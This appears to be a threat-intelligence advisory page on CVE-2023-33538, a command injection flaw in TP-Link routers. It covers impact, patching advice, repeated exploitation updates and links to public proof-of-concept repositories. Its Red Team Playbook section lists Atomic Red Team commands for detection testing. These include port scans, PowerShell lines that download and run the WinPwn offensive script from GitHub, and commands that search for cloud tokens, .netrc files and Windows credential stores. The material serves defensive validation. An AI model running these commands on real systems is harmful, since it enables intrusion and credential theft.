CVE-2023-33538
Overview
This vulnerability is a command injection flaw rooted in improper input validation within the /userRpm/WlanNetworkRpm component of specific TP-Link router firmware versions. The affected component fails to sanitize user-supplied input, allowing execution of arbitrary system commands. The flaw exists in the web management interface handling WLAN network configuration parameters, enabling injection of shell commands due to unsafe concatenation or parsing of input data.
Vulnerability Description
TP-Link TL-WR940N V2/V4, TL-WR841N V8/V10, and TL-WR740N V1/V2 was discovered to contain a command injection vulnerability via the component /userRpm/WlanNetworkRpm .
Impact
An attacker with a low-privileged account on the device’s web interface can execute arbitrary system commands remotely, leading to full control over the affected router. This enables unauthorized access to network traffic, modification of device settings, and potential lateral movement within the network. The exploit requires no user interaction beyond authentication with limited privileges, significantly increasing the risk of persistent compromise and network disruption in environments relying on these TP-Link devices.
Solution
TP-Link has issued firmware updates addressing this command injection vulnerability for the affected models TL-WR940N, TL-WR841N, and TL-WR740N. Users should upgrade to the latest firmware versions provided on the official TP-Link support site. Detailed patch instructions and advisories are available via the vendor’s security bulletins and the referenced GitHub advisory. No official workaround is documented; applying the firmware update is the recommended remediation step.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The command injection vulnerability present in specific models of TP-Link routers, including the TL-WR940N, TL-WR841N, and TL-WR740N, arises from improper input validation in the web management interface. This flaw allows an attacker to inject arbitrary commands into the system, which can then be executed with the privileges of the web server process. The vulnerability is particularly concerning as it resides in the WLAN network configuration component, which is frequently accessed by users for managing wireless settings. If exploited, this could lead to unauthorized access to sensitive data, alteration of network configurations, or even complete control over the device.
Attack vectors for this vulnerability are varied and can be executed remotely, making it especially dangerous. An attacker could leverage social engineering techniques to trick a user into visiting a malicious link that targets the vulnerable component of the router's firmware. Alternatively, a more sophisticated attacker could scan for vulnerable devices on the internet and exploit the flaw directly, sending crafted requests that include malicious commands. Once the command injection is successful, the attacker could manipulate the device to redirect traffic, intercept communications, or launch further attacks against other devices on the network.
The real-world impact of this vulnerability is significant, particularly for businesses that rely on these routers for their network infrastructure. Exploitation could lead to data breaches, loss of customer trust, and potential regulatory repercussions, especially if sensitive customer information is compromised. Additionally, the ability to manipulate network settings could facilitate further attacks, such as man-in-the-middle attacks, where an attacker could intercept and alter communications between users and the internet. The financial implications of such incidents can be severe, encompassing both immediate remediation costs and long-term damage to brand reputation.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating router firmware is crucial, as manufacturers often release patches to address known vulnerabilities. Network administrators should also employ intrusion detection systems (IDS) to monitor for unusual traffic patterns or unauthorized access attempts. Furthermore, segmenting networks and employing strong access controls can limit the potential impact of an exploited device. Educating users about the risks of command injection and the importance of secure configurations can also play a vital role in prevention.
In conclusion, the command injection vulnerability in certain TP-Link router models poses a serious threat to both individual users and businesses. The ease of exploitation and the potential for significant impact underscore the necessity for proactive security measures. By staying informed about vulnerabilities, applying timely updates, and fostering a culture of security awareness, organizations can better protect themselves against the risks associated with such vulnerabilities.
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting the command injection vulnerability in TP-Link TL-WR940N, TL-WR841N, and TL-WR740N router models. This increase in activity coincides with the recent inclusion of CVE-2023-33538 in the Known Exploited Vulnerabilities (KEV) catalog, which often drives heightened attacker focus due to the prioritization by automated scanning and exploitation tools. Although the EPSS score shows a slight decrease, the surge in telemetry detections indicates active exploitation efforts in the wild, supported by the emergence of new proof-of-concept exploits available in popular repositories. This development elevates the threat level, signaling that adversaries are increasingly leveraging this vulnerability to compromise affected devices. Defenders should recognize that the vulnerability is now a more immediate risk, as exploitation attempts are no longer theoretical but demonstrably occurring with growing frequency.
Update 2 — May 16, 2026
CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting CVE-2023-33538, as evidenced by a significant surge in telemetry detections. This increase coincides with the recent addition of the vulnerability to the Known Exploited Vulnerabilities (KEV) catalog, underscoring its growing prominence within the threat landscape. Although the EPSS score has marginally declined, the persistent upward trend in exploitation activity and the availability of new proof-of-concept exploits in widely accessed repositories amplify the immediacy of the risk. The convergence of heightened scanning and exploitation efforts signals that adversaries are intensifying their focus on these TP-Link router models, elevating the likelihood of successful compromise. Consequently, the threat level associated with this vulnerability has risen from theoretical to actively exploited, demanding heightened vigilance from defenders monitoring network perimeters and device integrity.
Update 3 — July 20, 2026
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting the TP-Link routers affected by CVE-2023-33538. Although the overall EPSS score has experienced a slight decline, our telemetry indicates a notable surge in scanning and attack activity, reflecting increased adversary interest. The emergence of multiple new proof-of-concept exploits hosted on prominent public repositories further lowers the barrier for threat actors to weaponize this vulnerability. This dynamic suggests that exploitation is becoming more accessible and widespread, raising the probability of successful intrusions. Consequently, the threat level associated with this vulnerability has intensified from active exploitation to a more urgent and pervasive risk, underscoring the need for continuous monitoring of network traffic and device behavior within affected environments.
Update 4 — August 15, 2026
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2023-33538, evidenced by a significant uptick in telemetry signals. This increase coincides with the continued availability and refinement of multiple proof-of-concept exploits on public code repositories, which are lowering the technical barriers for threat actors to deploy command injection attacks against vulnerable TP-Link router models. Although the EPSS score remains stable at a high percentile, the surge in detection activity indicates growing adversary interest and operationalization. For defenders, this trend signals an elevated risk environment where opportunistic and potentially more sophisticated intrusions are increasingly feasible. Consequently, the threat level associated with this vulnerability has intensified, underscoring the urgency for heightened vigilance and proactive monitoring within affected networks.
Affected Products (3)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Tp-Link | Tl-Wr940n Firmware | N/A |
cpe:2.3:o:tp-link:tl-wr940n_firmware:-:*:*:*:*:*:*:*
|
|
|
Tp-Link | Tl-Wr841n Firmware | N/A |
cpe:2.3:o:tp-link:tl-wr841n_firmware:-:*:*:*:*:*:*:*
|
|
|
Tp-Link | Tl-Wr740n Firmware | N/A |
cpe:2.3:o:tp-link:tl-wr740n_firmware:-:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (3)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
mrowkoob/CVE-2023-33538-msf
CVE-2023-33538 - TP-Link Command Injection Ruby module for Metasploit Framework
|
mrowkoob | 1 | 1 | 2025-06-23 | View |
|
explxx/CVE-2023-33538
Python Exploit for TP-Link TL-WR940N/TL-WR841N Command Injection Vulnerability
|
explxx | 1 | 0 | 2025-06-22 | View |
|
eev4n/tplink-osci
rediscovered tplink nday xp (CVE-2023-33538)
|
eev4n | 0 | 0 | 2026-04-19 | View |
Threat Feed
15 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (6)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-33538 |
| github.com |
GitHub CVE
|
https://github.com/a101e-IoTvul/iotvul/blob/main/tp-link/3/TL-WR940N_TL-WR841N_userRpm_WlanNetworkRpm_Command_Injection.md |
| web.archive.org |
GitHub CVE
|
https://web.archive.org/web/20230609111043/https://github.com/a101e-IoTvul/iotvul/blob/main/tp-link/3/TL-WR940N_TL-WR841N_userRpm_WlanNetworkRpm_Command_Injection.md |
| secpod.com |
GitHub CVE
|
https://www.secpod.com/blog/cisa-issues-warning-on-active-exploitation-of-tp-link-vulnerability-cve-2023-33538/ |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-33538 |
| tp-link.com |
NVD API
Product
|
https://www.tp-link.com/us/support/faq/3562/ |